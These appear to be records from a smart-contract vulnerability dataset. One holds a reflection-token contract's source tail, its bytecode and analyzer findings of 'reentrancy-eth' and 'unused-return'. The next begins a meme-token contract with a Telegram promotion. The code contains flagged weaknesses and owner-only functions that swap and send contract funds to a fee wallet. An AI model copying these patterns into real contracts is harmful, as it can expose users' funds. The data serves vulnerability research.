emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612763565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061282d565b6104b4565b60405161018e9190612888565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128b2565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a15565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a5e565b61060c565b60405161021f9190612888565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612ab1565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612afa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b41565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b6e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612ab1565b6109db565b60405161031991906128b2565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612baa565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612763565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061282d565b610c9a565b6040516103da9190612888565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b6e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bc5565b611378565b60405161046e91906128b2565b60405180910390f35b60606040518060400160405280600a81526020017f52616469616e74496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c16113ff565b8484611407565b6001905092915050565b600067016345785d8a0000905090565b6104ea6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c51565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c71565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612ccf565b91505061057a565b5050565b60006106198484846115d0565b6106da846106256113ff565b6106d58560405180606001604052806028815260200161370660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c619092919063ffffffff16565b611407565b600190509392505050565b6106ed6113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c51565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c51565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c51565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113ff565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c51565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c51565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f52616469616e74496e7500000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113ff565b84846115d0565b6001905092915050565b610cc06113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c51565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113ff565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113ff565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c51565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d63565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611407565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d98565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d98565b6040518363ffffffff1660e01b8152600401611096929190612dc5565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d98565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612e33565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612ea9565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061123b6103e861122d601467016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b600f819055506112716103e8611263601e67016345785d8a0000611cc590919063ffffffff16565b611d3f90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611331929190612efc565b6020604051808303816000875af1158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190612f3a565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d90612fd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc9061306b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c391906128b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611636906130fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a59061318f565b60405180910390fd5b600081116116f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e890613221565b60405180910390fd5b6000600a819055506008600b81905550611709610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117775750611747610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118205750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561192a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119425750600e60179054906101000a900460ff165b15611a8057600f5481111561198c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119839061328d565b60405180910390fd5b60105481611999846109db565b6119a391906132ad565b11156119e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119db9061334f565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2f57600080fd5b601e42611a3c91906132ad565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b815750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b97576000600a819055506008600b819055505b6000611ba2306109db565b9050600e60159054906101000a900460ff16158015611c0f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c275750600e60169054906101000a900460ff165b15611c4f57611c3581611e63565b60004790506000811115611c4d57611c4c47611d89565b5b505b505b611c5c8383836120dc565b505050565b6000838311158290611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca09190612763565b60405180910390fd5b5060008385611cb8919061336f565b9050809150509392505050565b6000808303611cd75760009050611d39565b60008284611ce591906133a3565b9050828482611cf4919061342c565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b906134cf565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120ec565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390613561565b60405180910390fd5b6000611e4661214f565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a6128d2565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee0612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fac9190612d98565b81600181518110611fc057611fbf612c71565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611407565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208b95949392919061363f565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120e783838361217a565b505050565b60008083118290612133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212a9190612763565b60405180910390fd5b5060008385612142919061342c565b9050809150509392505050565b600080600061215c612345565b915091506121738183611d3f90919063ffffffff16565b9250505090565b60008060008060008061218c876123a4565b9550955095509550955095506121ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122cb816124b4565b6122d58483612571565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233291906128b2565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061237967016345785d8a0000600854611d3f90919063ffffffff16565b8210156123975760085467016345785d8a00009350935050506123a0565b81819350935050505b9091565b60008060008060008060008060006123c18a600a54600b546125ab565b92509250925060006123d161214f565b905060008060006123e48e878787612641565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061244e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c61565b905092915050565b600080828461246591906132ad565b9050838110156124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a1906136e5565b60405180910390fd5b8091505092915050565b60006124be61214f565b905060006124d58284611cc590919063ffffffff16565b905061252981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125868260085461240c90919063ffffffff16565b6008819055506125a18160095461245690919063ffffffff16565b6009819055505050565b6000806000806125d760646125c9888a611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061260160646125f3888b611cc590919063ffffffff16565b611d3f90919063ffffffff16565b9050600061262a8261261c858c61240c90919063ffffffff16565b61240c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061265a8589611cc590919063ffffffff16565b905060006126718689611cc590919063ffffffff16565b905060006126888789611cc590919063ffffffff16565b905060006126b1826126a3858761240c90919063ffffffff16565b61240c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156127045780820151818401526020810190506126e9565b83811115612713576000848401525b50505050565b6000601f19601f8301169050919050565b6000612735826126ca565b61273f81856126d5565b935061274f8185602086016126e6565b61275881612719565b840191505092915050565b6000602082019050818103600083015261277d818461272a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127c482612799565b9050919050565b6127d4816127b9565b81146127df57600080fd5b50565b6000813590506127f1816127cb565b92915050565b6000819050919050565b61280a816127f7565b811461281557600080fd5b50565b60008135905061282781612801565b92915050565b600080604083850312156128445761284361278f565b5b6000612852858286016127e2565b925050602061286385828601612818565b9150509250929050565b60008115159050919050565b6128828161286d565b82525050565b600060208201905061289d6000830184612879565b92915050565b6128ac816127f7565b82525050565b60006020820190506128c760008301846128a3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61290a82612719565b810181811067ffffffffffffffff82111715612929576129286128d2565b5b80604052505050565b600061293c612785565b90506129488282612901565b919050565b600067ffffffffffffffff821115612968576129676128d2565b5b602082029050602081019050919050565b600080fd5b600061299161298c8461294d565b612932565b905080838252602082019050602084028301858111156129b4576129b3612979565b5b835b818110156129dd57806129c988826127e2565b8452602084019350506020810190506129b6565b5050509392505050565b600082601f8301126129fc576129fb6128cd565b5b8135612a0c84826020860161297e565b91505092915050565b600060208284031215612a2b57612a2a61278f565b5b600082013567ffffffffffffffff811115612a4957612a48612794565b5b612a55848285016129e7565b91505092915050565b600080600060608486031215612a7757612a7661278f565b5b6000612a85868287016127e2565b9350506020612a96868287016127e2565b9250506040612aa786828701612818565b9150509250925092565b600060208284031215612ac757612ac661278f565b5b6000612ad5848285016127e2565b91505092915050565b600060ff82169050919050565b612af481612ade565b82525050565b6000602082019050612b0f6000830184612aeb565b92915050565b612b1e8161286d565b8114612b2957600080fd5b50565b600081359050612b3b81612b15565b92915050565b600060208284031215612b5757612b5661278f565b5b6000612b6584828501612b2c565b91505092915050565b600060208284031215612b8457612b8361278f565b5b6000612b9284828501612818565b91505092915050565b612ba4816127b9565b82525050565b6000602082019050612bbf6000830184612b9b565b92915050565b60008060408385031215612bdc57612bdb61278f565b5b6000612bea858286016127e2565b9250506020612bfb858286016127e2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c3b6020836126d5565b9150612c4682612c05565b602082019050919050565b60006020820190508181036000830152612c6a81612c2e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cda826127f7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d0c57612d0b612ca0565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d4d6017836126d5565b9150612d5882612d17565b602082019050919050565b60006020820190508181036000830152612d7c81612d40565b9050919050565b600081519050612d92816127cb565b92915050565b600060208284031215612dae57612dad61278f565b5b6000612dbc84828501612d83565b91505092915050565b6000604082019050612dda6000830185612b9b565b612de76020830184612b9b565b9392505050565b6000819050919050565b6000819050919050565b6000612e1d612e18612e1384612dee565b612df8565b6127f7565b9050919050565b612e2d81612e02565b82525050565b600060c082019050612e486000830189612b9b565b612e5560208301886128a3565b612e626040830187612e24565b612e6f6060830186612e24565b612e7c6080830185612b9b565b612e8960a08301846128a3565b979650505050505050565b600081519050612ea381612801565b92915050565b600080600060608486031215612ec257612ec161278f565b5b6000612ed086828701612e94565b9350506020612ee186828701612e94565b9250506040612ef286828701612e94565b9150509250925092565b6000604082019050612f116000830185612b9b565b612f1e60208301846128a3565b9392505050565b600081519050612f3481612b15565b92915050565b600060208284031215612f5057612f4f61278f565b5b6000612f5e84828501612f25565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc36024836126d5565b9150612fce82612f67565b604082019050919050565b60006020820190508181036000830152612ff281612fb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130556022836126d5565b915061306082612ff9565b604082019050919050565b6000602082019050818103600083015261308481613048565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e76025836126d5565b91506130f28261308b565b604082019050919050565b60006020820190508181036000830152613116816130da565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131796023836126d5565b91506131848261311d565b604082019050919050565b600060208201905081810360008301526131a88161316c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061320b6029836126d5565b9150613216826131af565b604082019050919050565b6000602082019050818103600083015261323a816131fe565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132776019836126d5565b915061328282613241565b602082019050919050565b600060208201905081810360008301526132a68161326a565b9050919050565b60006132b8826127f7565b91506132c3836127f7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132f8576132f7612ca0565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613339601a836126d5565b915061334482613303565b602082019050919050565b600060208201905081810360008301526133688161332c565b9050919050565b600061337a826127f7565b9150613385836127f7565b92508282101561339857613397612ca0565b5b828203905092915050565b60006133ae826127f7565b91506133b9836127f7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f2576133f1612ca0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613437826127f7565b9150613442836127f7565b925082613452576134516133fd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134b96021836126d5565b91506134c48261345d565b604082019050919050565b600060208201905081810360008301526134e8816134ac565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061354b602a836126d5565b9150613556826134ef565b604082019050919050565b6000602082019050818103600083015261357a8161353e565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135b6816127b9565b82525050565b60006135c883836135ad565b60208301905092915050565b6000602082019050919050565b60006135ec82613581565b6135f6818561358c565b93506136018361359d565b8060005b8381101561363257815161361988826135bc565b9750613624836135d4565b925050600181019050613605565b5085935050505092915050565b600060a08201905061365460008301886128a3565b6136616020830187612e24565b818103604083015261367381866135e1565b90506136826060830185612b9b565b61368f60808301846128a3565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136cf601b836126d5565b91506136da82613699565b602082019050919050565b600060208201905081810360008301526136fe816136c2565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3034a8dda67e98f8c549fb46d3bfede4f13d759c83971d9f1b6c1b74a5fe13064736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,687 |
0xd5e7946d1bfac4efde6cc7215f22dda7914812d2 | /*
Guess who's coming to the party?!...
╭━━╮╱╱╱╱╭┳┳╮╱╱╭╮
┃╭━╋━╮╭┳┫╭╋╋┳┳╋┫
┃╰╮┃╋╰┫┃┃╰┫┃┃┃┃┃
╰━━┻━━╋╮┣┻┻┻━━┻╯
╱╱╱╱╱╱╰━╯
t.me/Gay_Kiwi
..... (¯`v´¯)♥
.......•.¸.•´
....¸.•´
... (
☻/ ''
/▌/
/ \ ♥♥
GAY KIWI PUMPS!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
